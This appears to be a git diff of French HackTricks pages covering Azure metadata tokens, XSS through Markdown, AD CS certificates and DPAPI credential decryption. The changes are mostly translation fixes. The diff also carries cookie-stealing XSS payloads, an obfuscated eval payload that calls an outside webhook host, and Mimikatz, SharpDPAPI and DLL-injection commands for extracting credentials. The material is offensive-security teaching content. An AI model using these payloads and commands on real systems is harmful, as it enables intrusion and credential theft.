Depuis l'**env**, vous pouvez obtenir les valeurs de **`IDENTITY_HEADER`** et **`IDENTITY_ENDPOINT`**. Que vous pouvez utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.
|
||||
### Azure App & Services de Fonctions & Comptes d'Automatisation
|
||||
|
||||
À partir de **env**, vous pouvez obtenir les valeurs de **`IDENTITY_HEADER`** et **`IDENTITY_ENDPOINT`**. Que vous pouvez utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.
|
||||
|
||||
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
||||
|
||||
|
@ -14,7 +14,7 @@ alert(1)
|
||||
</script>
|
||||
<img src="x" onerror="alert(1)" />
|
||||
```
|
||||
Vous pouvez trouver plus d'exemples dans la [main XSS page of hacktricks](README.md).
|
||||
Vous pouvez trouver plus d'exemples dans la [page principale XSS de hacktricks](README.md).
|
||||
|
||||
### Liens Javascript
|
||||
|
||||
@ -40,7 +40,7 @@ t:prompt(document.cookie))
|
||||
>)
|
||||
>)
|
||||
```
|
||||
### HTML Sanitiser Markdown Bypass
|
||||
### Contournement de la sanitisation HTML dans Markdown
|
||||
|
||||
Le code suivant **sanitise l'entrée HTML** puis **la passe au parseur markdown**, ensuite, le XSS peut être déclenché en abusant des mauvaises interprétations entre Markdown et DOMPurify.
|
||||
```html
|
||||
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
|
||||
```html
|
||||
<!--
|
||||
Fuzzing examples from
|
||||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
||||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
||||
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
|
||||
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
|
||||
-->
|
||||
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -97,7 +97,7 @@ Fuzzing examples from
|
||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:alert('XSS'))
|
||||
\
|
||||
[citelol]: (javascript:prompt(document.cookie))
|
||||
[lol]: (javascript:prompt(document.cookie))
|
||||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
[test](javascript://%0d%0aprompt(1))
|
||||
[test](javascript://%0d%0aprompt(1);com)
|
||||
|
@ -8,14 +8,14 @@
|
||||
> Voici les **valeurs du projet HackTricks** :
|
||||
>
|
||||
> - Offrir un accès **GRATUIT** aux ressources de **FORMATION en hacking** à **TOUT** Internet.
|
||||
> - Le hacking est une question d'apprentissage, et l'apprentissage devrait être aussi gratuit que possible.
|
||||
> - Le but de ce livre est de servir de **ressource éducative** complète.
|
||||
> - Le hacking est une question d'apprentissage, et l'apprentissage devrait être aussi gratuit que possible.
|
||||
> - Le but de ce livre est de servir de **ressource éducative** complète.
|
||||
> - **STOCKER** des techniques de **hacking** incroyables que la communauté publie en donnant tous les **crédits** aux **AUTEURS ORIGINAUX**.
|
||||
> - **Nous ne voulons pas le crédit des autres**, nous voulons juste stocker des astuces intéressantes pour tout le monde.
|
||||
> - Nous écrivons également **nos propres recherches** dans HackTricks.
|
||||
> - Dans plusieurs cas, nous allons simplement écrire **dans HackTricks un résumé des parties importantes** de la technique et **encourager le lecteur à visiter le post original** pour plus de détails.
|
||||
> - **ORGANISER** toutes les techniques de hacking dans le livre afin qu'elles soient **PLUS ACCESSIBLES**
|
||||
> - L'équipe de HackTricks a consacré des milliers d'heures gratuitement **uniquement pour organiser le contenu** afin que les gens puissent **apprendre plus rapidement**
|
||||
> - **Nous ne voulons pas le crédit des autres**, nous voulons juste stocker des astuces intéressantes pour tout le monde.
|
||||
> - Nous écrivons également **nos propres recherches** dans HackTricks.
|
||||
> - Dans plusieurs cas, nous allons simplement écrire **dans HackTricks un résumé des parties importantes** de la technique et **encourager le lecteur à visiter le post original** pour plus de détails.
|
||||
> - **ORGANISER** toutes les techniques de hacking dans le livre afin qu'elles soient **PLUS ACCESSIBLES**.
|
||||
> - L'équipe de HackTricks a consacré des milliers d'heures gratuitement **uniquement pour organiser le contenu** afin que les gens puissent **apprendre plus rapidement**.
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -76,7 +76,7 @@ La première **valeur** de **HackTricks** est d'offrir des ressources éducative
|
||||
|
||||
Si vous pensez que les livres HackTricks sont faits à des **fins commerciales**, vous avez **COMPLÈTEMENT TORT**.
|
||||
|
||||
Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Par conséquent, nous offrons aux gens la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et à des **entreprises de cybersécurité pertinentes** de sponsoriser HackTricks et d'**avoir des publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu.
|
||||
Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Par conséquent, nous offrons aux gens la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et **des entreprises de cybersécurité pertinentes** pour sponsoriser HackTricks et **avoir des publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu.
|
||||
|
||||
Vous ne trouverez pas HackTricks rempli de publicités ennuyeuses comme d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales.
|
||||
|
||||
@ -134,10 +134,10 @@ Cette licence ne confère aucun droit de marque ou de branding en relation avec
|
||||
>
|
||||
> Les auteurs et éditeurs ne sauraient en aucun cas être tenus responsables de toute perte ou dommage, y compris, sans limitation, toute perte ou dommage indirect ou consécutif, ou toute perte ou dommage de quelque nature que ce soit résultant de la perte de données ou de bénéfices découlant de, ou en relation avec, l'utilisation de ce livre.
|
||||
>
|
||||
> De plus, les techniques et conseils décrits dans ce livre sont fournis à des fins éducatives et d'information uniquement, et ne doivent pas être utilisés pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre est à vos propres risques et à votre discrétion.
|
||||
> De plus, les techniques et conseils décrits dans ce livre sont fournis à des fins éducatives et d'information uniquement, et ne doivent pas être utilisés pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait à vos propres risques et à votre discrétion.
|
||||
>
|
||||
> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander des conseils et une assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou conseils décrits ici.
|
||||
>
|
||||
> En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et de toute obligation pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de toute information qu'il contient.
|
||||
> En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et de toute obligation pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de l'une des informations qu'il contient.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -19,7 +19,7 @@
|
||||
|
||||
### Special Considerations
|
||||
|
||||
- Les **Subject Alternative Names (SANs)** étendent l'applicabilité d'un certificat à plusieurs identités, crucial pour les serveurs avec plusieurs domaines. Des processus d'émission sécurisés sont essentiels pour éviter les risques d'imitation par des attaquants manipulant la spécification SAN.
|
||||
- Les **Subject Alternative Names (SANs)** étendent l'applicabilité d'un certificat à plusieurs identités, crucial pour les serveurs avec plusieurs domaines. Des processus d'émission sécurisés sont vitaux pour éviter les risques d'usurpation par des attaquants manipulant la spécification SAN.
|
||||
|
||||
### Certificate Authorities (CAs) in Active Directory (AD)
|
||||
|
||||
@ -39,7 +39,7 @@ AD CS reconnaît les certificats CA dans une forêt AD à travers des conteneurs
|
||||
|
||||
### Certificate Templates
|
||||
|
||||
Définis dans AD, ces modèles décrivent les paramètres et les autorisations pour l'émission de certificats, y compris les EKUs autorisés et les droits d'inscription ou de modification, critiques pour la gestion de l'accès aux services de certificats.
|
||||
Définis dans AD, ces modèles décrivent les paramètres et les autorisations pour l'émission de certificats, y compris les EKUs autorisés et les droits d'inscription ou de modification, critiques pour gérer l'accès aux services de certificats.
|
||||
|
||||
## Certificate Enrollment
|
||||
|
||||
@ -95,7 +95,7 @@ est central pour établir la confiance pour l'authentification par certificat.
|
||||
|
||||
### Authentification Secure Channel (Schannel)
|
||||
|
||||
Schannel facilite les connexions TLS/SSL sécurisées, où, lors d'une poignée de main, le client présente un certificat qui, s'il est validé avec succès, autorise l'accès. La correspondance d'un certificat à un compte AD peut impliquer la fonction **S4U2Self** de Kerberos ou le **Subject Alternative Name (SAN)** du certificat, parmi d'autres méthodes.
|
||||
Schannel facilite les connexions TLS/SSL sécurisées, où lors d'une poignée de main, le client présente un certificat qui, s'il est validé avec succès, autorise l'accès. La correspondance d'un certificat à un compte AD peut impliquer la fonction **S4U2Self** de Kerberos ou le **Subject Alternative Name (SAN)** du certificat, parmi d'autres méthodes.
|
||||
|
||||
### Énumération des Services de Certificat AD
|
||||
|
||||
@ -124,9 +124,9 @@ certutil -v -dstemplate
|
||||
|
||||
| Année | ID / Nom | Impact | Points clés |
|
||||
|-------|----------|--------|-------------|
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Escalade de privilèges* en usurpant des certificats de compte machine lors de PKINIT. | Le correctif est inclus dans les mises à jour de sécurité du **10 mai 2022**. Des contrôles d'audit et de mappage strict ont été introduits via **KB5014754** ; les environnements devraient maintenant être en mode *Full Enforcement*. citeturn2search0 |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Exécution de code à distance* dans les rôles AD CS Web Enrollment (certsrv) et CES. | Les PoCs publics sont limités, mais les composants IIS vulnérables sont souvent exposés en interne. Correctif à partir du **juillet 2023** Patch Tuesday. citeturn3search0 |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Les utilisateurs à faibles privilèges avec des droits d'inscription pouvaient remplacer **n'importe quel** EKU ou SAN lors de la génération de CSR, émettant des certificats utilisables pour l'authentification client ou la signature de code, menant à un *compromis de domaine*. | Résolu dans les mises à jour de **avril 2024**. Supprimez “Supply in the request” des modèles et restreignez les autorisations d'inscription. citeturn1search3 |
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Escalade de privilèges* en usurpant des certificats de compte machine lors de PKINIT. | Le correctif est inclus dans les mises à jour de sécurité du **10 mai 2022**. Des contrôles d'audit et de mappage strict ont été introduits via **KB5014754** ; les environnements devraient maintenant être en mode *Full Enforcement*. |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Exécution de code à distance* dans les rôles AD CS Web Enrollment (certsrv) et CES. | Les PoCs publics sont limités, mais les composants IIS vulnérables sont souvent exposés en interne. Correctif à partir du **juillet 2023** Patch Tuesday. |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Les utilisateurs à faibles privilèges avec des droits d'inscription pouvaient remplacer **n'importe quel** EKU ou SAN lors de la génération de CSR, émettant des certificats utilisables pour l'authentification client ou la signature de code, menant à un *compromis de domaine*. | Résolu dans les mises à jour de **avril 2024**. Supprimez “Supply in the request” des modèles et restreignez les autorisations d'inscription. |
|
||||
|
||||
### Chronologie de durcissement de Microsoft (KB5014754)
|
||||
|
||||
@ -134,16 +134,16 @@ Microsoft a introduit un déploiement en trois phases (Compatibilité → Audit
|
||||
|
||||
1. Appliquer les correctifs à tous les DC et serveurs AD CS (mai 2022 ou ultérieur).
|
||||
2. Surveiller l'ID d'événement 39/41 pour des mappages faibles pendant la phase *Audit*.
|
||||
3. Réémettre des certificats d'authentification client avec la nouvelle **extension SID** ou configurer des mappages manuels stricts avant février 2025. citeturn2search0
|
||||
3. Réémettre des certificats d'authentification client avec la nouvelle **extension SID** ou configurer des mappages manuels stricts avant février 2025.
|
||||
|
||||
---
|
||||
|
||||
## Améliorations de détection et de durcissement
|
||||
|
||||
* Le **capteur Defender for Identity AD CS (2023-2024)** affiche désormais des évaluations de posture pour ESC1-ESC8/ESC11 et génère des alertes en temps réel telles que *“Émission de certificat de contrôleur de domaine pour un non-DC”* (ESC8) et *“Prévenir l'inscription de certificat avec des politiques d'application arbitraires”* (ESC15). Assurez-vous que les capteurs sont déployés sur tous les serveurs AD CS pour bénéficier de ces détections. citeturn5search0
|
||||
* Le **capteur Defender for Identity AD CS (2023-2024)** présente désormais des évaluations de posture pour ESC1-ESC8/ESC11 et génère des alertes en temps réel telles que *“Émission de certificat de contrôleur de domaine pour un non-DC”* (ESC8) et *“Prévenir l'inscription de certificat avec des politiques d'application arbitraires”* (ESC15). Assurez-vous que les capteurs sont déployés sur tous les serveurs AD CS pour bénéficier de ces détections.
|
||||
* Désactivez ou restreignez strictement l'option **“Supply in the request”** sur tous les modèles ; préférez des valeurs SAN/EKU explicitement définies.
|
||||
* Supprimez **Any Purpose** ou **No EKU** des modèles sauf si absolument nécessaire (adresse les scénarios ESC2).
|
||||
* Exigez **l'approbation du responsable** ou des flux de travail d'Agent d'inscription dédiés pour les modèles sensibles (par exemple, WebServer / CodeSigning).
|
||||
* Exigez **l'approbation du manager** ou des flux de travail d'Agent d'inscription dédiés pour les modèles sensibles (par exemple, WebServer / CodeSigning).
|
||||
* Restreignez l'inscription web (`certsrv`) et les points de terminaison CES/NDES aux réseaux de confiance ou derrière une authentification par certificat client.
|
||||
* Appliquez le chiffrement d'inscription RPC (`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`) pour atténuer l'ESC11.
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
## Qu'est-ce que DPAPI
|
||||
|
||||
L'API de protection des données (DPAPI) est principalement utilisée dans le système d'exploitation Windows pour le **chiffrement symétrique des clés privées asymétriques**, en s'appuyant sur des secrets d'utilisateur ou de système comme source significative d'entropie. Cette approche simplifie le chiffrement pour les développeurs en leur permettant de chiffrer des données à l'aide d'une clé dérivée des secrets de connexion de l'utilisateur ou, pour le chiffrement système, des secrets d'authentification de domaine du système, éliminant ainsi le besoin pour les développeurs de gérer eux-mêmes la protection de la clé de chiffrement.
|
||||
L'API de protection des données (DPAPI) est principalement utilisée dans le système d'exploitation Windows pour le **chiffrement symétrique des clés privées asymétriques**, en s'appuyant sur des secrets d'utilisateur ou de système comme source significative d'entropie. Cette approche simplifie le chiffrement pour les développeurs en leur permettant de chiffrer des données à l'aide d'une clé dérivée des secrets de connexion de l'utilisateur ou, pour le chiffrement système, des secrets d'authentification de domaine du système, évitant ainsi aux développeurs de gérer eux-mêmes la protection de la clé de chiffrement.
|
||||
|
||||
La manière la plus courante d'utiliser DPAPI est via les fonctions **`CryptProtectData` et `CryptUnprotectData`**, qui permettent aux applications de chiffrer et de déchiffrer des données de manière sécurisée avec la session du processus actuellement connecté. Cela signifie que les données chiffrées ne peuvent être déchiffrées que par le même utilisateur ou système qui les a chiffrées.
|
||||
|
||||
@ -27,12 +27,12 @@ Les clés maîtres sont stockées dans le répertoire **`%APPDATA%\Microsoft\Pro
|
||||
|
||||
Notez que la **clé de domaine utilisée pour chiffrer la clé maître se trouve dans les contrôleurs de domaine et ne change jamais**, donc si un attaquant a accès au contrôleur de domaine, il peut récupérer la clé de sauvegarde de domaine et déchiffrer les clés maîtres de tous les utilisateurs du domaine.
|
||||
|
||||
Les blobs chiffrés contiennent le **GUID de la clé maître** qui a été utilisée pour chiffrer les données à l'intérieur de ses en-têtes.
|
||||
Les blobs chiffrés contiennent le **GUID de la clé maître** qui a été utilisée pour chiffrer les données dans ses en-têtes.
|
||||
|
||||
> [!TIP]
|
||||
> Les blobs chiffrés par DPAPI commencent par **`01 00 00 00`**
|
||||
|
||||
Trouver des clés maîtres :
|
||||
Trouver les clés maîtres :
|
||||
```bash
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
|
||||
@ -63,7 +63,7 @@ Parmi les données personnelles protégées par DPAPI, on trouve :
|
||||
- Mots de passe des comptes e-mail et FTP internes pour des applications comme Outlook et Windows Mail
|
||||
- Mots de passe pour les dossiers partagés, les ressources, les réseaux sans fil et Windows Vault, y compris les clés de chiffrement
|
||||
- Mots de passe pour les connexions de bureau à distance, .NET Passport et clés privées pour divers objectifs de chiffrement et d'authentification
|
||||
- Mots de passe réseau gérés par le Gestionnaire d'identifiants et données personnelles dans des applications utilisant CryptProtectData, telles que Skype, MSN Messenger, et plus
|
||||
- Mots de passe réseau gérés par le Gestionnaire d'identifiants et données personnelles dans des applications utilisant CryptProtectData, telles que Skype, MSN messenger, et plus
|
||||
- Blobs chiffrés dans le registre
|
||||
- ...
|
||||
|
||||
@ -120,7 +120,7 @@ mimikatz vault::list
|
||||
|
||||
### Trouver des données chiffrées DPAPI
|
||||
|
||||
Les **fichiers protégés** courants se trouvent dans :
|
||||
Les **fichiers protégés** des utilisateurs courants se trouvent dans :
|
||||
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
|
||||
@ -174,7 +174,7 @@ pbData : b8f619[...snip...]b493fe
|
||||
```
|
||||
- **Accéder aux masterkeys** :
|
||||
|
||||
Décryptez une masterkey d'un utilisateur en demandant la **clé de sauvegarde de domaine** via RPC :
|
||||
Décrypter une masterkey d'un utilisateur en demandant la **clé de sauvegarde de domaine** en utilisant RPC :
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||||
@ -182,7 +182,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /rpc
|
||||
```
|
||||
L'outil **SharpDPAPI** prend également en charge ces arguments pour le déchiffrement de la masterkey (notez qu'il est possible d'utiliser `/rpc` pour obtenir la clé de sauvegarde du domaine, `/password` pour utiliser un mot de passe en texte clair, ou `/pvk` pour spécifier un fichier de clé privée de domaine DPAPI...) :
|
||||
L'outil **SharpDPAPI** prend également en charge ces arguments pour le déchiffrement de la masterkey (notez qu'il est possible d'utiliser `/rpc` pour obtenir la clé de sauvegarde des domaines, `/password` pour utiliser un mot de passe en texte clair, ou `/pvk` pour spécifier un fichier de clé privée de domaine DPAPI...) :
|
||||
```
|
||||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
@ -232,9 +232,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
---
|
||||
### Gestion de l'entropie optionnelle ("Entropie tierce")
|
||||
|
||||
Certaines applications passent une valeur d'**entropie** supplémentaire à `CryptProtectData`. Sans cette valeur, le blob ne peut pas être décrypté, même si la clé maître correcte est connue. Obtenir l'entropie est donc essentiel lors de la cible de credentials protégés de cette manière (par exemple, Microsoft Outlook, certains clients VPN).
|
||||
Certaines applications passent une valeur d'**entropie** supplémentaire à `CryptProtectData`. Sans cette valeur, le blob ne peut pas être décrypté, même si la clé maître correcte est connue. Obtenir l'entropie est donc essentiel lors de la cible de crédentiels protégés de cette manière (par exemple, Microsoft Outlook, certains clients VPN).
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) est une DLL en mode utilisateur qui intercepte les fonctions DPAPI à l'intérieur du processus cible et enregistre de manière transparente toute entropie optionnelle qui est fournie. Exécuter EntropyCapture en mode **DLL-injection** contre des processus comme `outlook.exe` ou `vpnclient.exe` produira un fichier mappant chaque tampon d'entropie au processus appelant et au blob. L'entropie capturée peut ensuite être fournie à **SharpDPAPI** (`/entropy:`) ou **Mimikatz** (`/entropy:<file>`) afin de déchiffrer les données. citeturn5search0
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) est une DLL en mode utilisateur qui intercepte les fonctions DPAPI à l'intérieur du processus cible et enregistre de manière transparente toute entropie optionnelle qui est fournie. Exécuter EntropyCapture en mode **DLL-injection** contre des processus comme `outlook.exe` ou `vpnclient.exe` produira un fichier mappant chaque tampon d'entropie au processus appelant et au blob. L'entropie capturée peut ensuite être fournie à **SharpDPAPI** (`/entropy:`) ou **Mimikatz** (`/entropy:<file>`) afin de déchiffrer les données.
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -244,7 +244,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### Cracking des masterkeys hors ligne (Hashcat & DPAPISnoop)
|
||||
|
||||
Microsoft a introduit un format de masterkey **contexte 3** à partir de Windows 10 v1607 (2016). `hashcat` v6.2.6 (décembre 2023) a ajouté des modes de hachage **22100** (DPAPI masterkey v1 contexte), **22101** (contexte 1) et **22102** (contexte 3) permettant le craquage accéléré par GPU des mots de passe utilisateurs directement à partir du fichier masterkey. Les attaquants peuvent donc effectuer des attaques par liste de mots ou par force brute sans interagir avec le système cible. citeturn8search1
|
||||
Microsoft a introduit un format de masterkey **context 3** à partir de Windows 10 v1607 (2016). `hashcat` v6.2.6 (décembre 2023) a ajouté des modes de hachage **22100** (DPAPI masterkey v1 context), **22101** (context 1) et **22102** (context 3) permettant le craquage accéléré par GPU des mots de passe utilisateurs directement à partir du fichier masterkey. Les attaquants peuvent donc effectuer des attaques par liste de mots ou par force brute sans interagir avec le système cible.
|
||||
|
||||
`DPAPISnoop` (2024) automatise le processus :
|
||||
```bash
|
||||
@ -279,11 +279,11 @@ Avec la liste des ordinateurs extraits de LDAP, vous pouvez trouver chaque sous-
|
||||
* Collecte parallèle de blobs depuis des centaines d'hôtes
|
||||
* Analyse des masterkeys de **contexte 3** et intégration automatique de Hashcat
|
||||
* Support pour les cookies chiffrés "App-Bound" de Chrome (voir section suivante)
|
||||
* Un nouveau mode **`--snapshot`** pour interroger de manière répétée les points de terminaison et différencier les blobs nouvellement créés citeturn1search2
|
||||
* Un nouveau mode **`--snapshot`** pour interroger de manière répétée les points de terminaison et différencier les blobs nouvellement créés
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) est un parseur C# pour les fichiers masterkey/credential/vault qui peut produire des formats Hashcat/JtR et invoquer automatiquement le craquage en option. Il prend entièrement en charge les formats de masterkey machine et utilisateur jusqu'à Windows 11 24H1. citeturn2search0
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) est un parseur C# pour les fichiers masterkey/credential/vault qui peut produire des formats Hashcat/JtR et invoquer automatiquement le craquage en option. Il prend entièrement en charge les formats de masterkey machine et utilisateur jusqu'à Windows 11 24H1.
|
||||
|
||||
|
||||
## Détections courantes
|
||||
@ -292,24 +292,24 @@ Avec la liste des ordinateurs extraits de LDAP, vous pouvez trouver chaque sous-
|
||||
- Surtout depuis un partage réseau comme **C$** ou **ADMIN$**.
|
||||
- Utilisation de **Mimikatz**, **SharpDPAPI** ou d'outils similaires pour accéder à la mémoire LSASS ou extraire des masterkeys.
|
||||
- Événement **4662** : *Une opération a été effectuée sur un objet* – peut être corrélé avec l'accès à l'objet **`BCKUPKEY`**.
|
||||
- Événements **4673/4674** lorsqu'un processus demande *SeTrustedCredManAccessPrivilege* (Gestionnaire d'identifiants)
|
||||
- Événement **4673/4674** lorsqu'un processus demande *SeTrustedCredManAccessPrivilege* (Gestionnaire d'identifiants)
|
||||
|
||||
---
|
||||
### Vulnérabilités 2023-2025 & changements d'écosystème
|
||||
### Vulnérabilités 2023-2025 et changements dans l'écosystème
|
||||
|
||||
* **CVE-2023-36004 – Spoofing du canal sécurisé DPAPI de Windows** (novembre 2023). Un attaquant ayant accès au réseau pourrait tromper un membre de domaine pour récupérer une clé de sauvegarde DPAPI malveillante, permettant le déchiffrement des masterkeys utilisateur. Corrigé dans la mise à jour cumulative de novembre 2023 – les administrateurs doivent s'assurer que les DC et les stations de travail sont entièrement corrigés. citeturn4search0
|
||||
* **Chiffrement des cookies "App-Bound" de Chrome 127** (juillet 2024) a remplacé la protection DPAPI uniquement héritée par une clé supplémentaire stockée sous le **Gestionnaire d'identifiants** de l'utilisateur. Le déchiffrement hors ligne des cookies nécessite désormais à la fois la masterkey DPAPI et la **clé app-bound enveloppée GCM**. SharpChrome v2.3 et DonPAPI 2.x peuvent récupérer la clé supplémentaire lorsqu'ils sont exécutés avec le contexte utilisateur. citeturn0search0
|
||||
* **CVE-2023-36004 – Spoofing du canal sécurisé DPAPI de Windows** (novembre 2023). Un attaquant ayant accès au réseau pourrait tromper un membre de domaine pour récupérer une clé de sauvegarde DPAPI malveillante, permettant le déchiffrement des masterkeys utilisateur. Corrigé dans la mise à jour cumulative de novembre 2023 – les administrateurs doivent s'assurer que les DC et les stations de travail sont entièrement corrigés.
|
||||
* **Chiffrement des cookies "App-Bound" de Chrome 127** (juillet 2024) a remplacé la protection DPAPI uniquement héritée par une clé supplémentaire stockée sous le **Gestionnaire d'identifiants** de l'utilisateur. Le déchiffrement hors ligne des cookies nécessite désormais à la fois la masterkey DPAPI et la **clé app-bound enveloppée GCM**. SharpChrome v2.3 et DonPAPI 2.x peuvent récupérer la clé supplémentaire lorsqu'ils sont exécutés avec le contexte utilisateur.
|
||||
|
||||
|
||||
## Références
|
||||
|
||||
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
|
||||
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
|
||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
|
||||
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
|
||||
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
|
||||
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
|
||||
- https://github.com/Leftp/DPAPISnoop
|
||||
- https://pypi.org/project/donpapi/2.0.0/
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||||
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
|
||||
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
|
||||
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
|
||||
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
|
||||
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user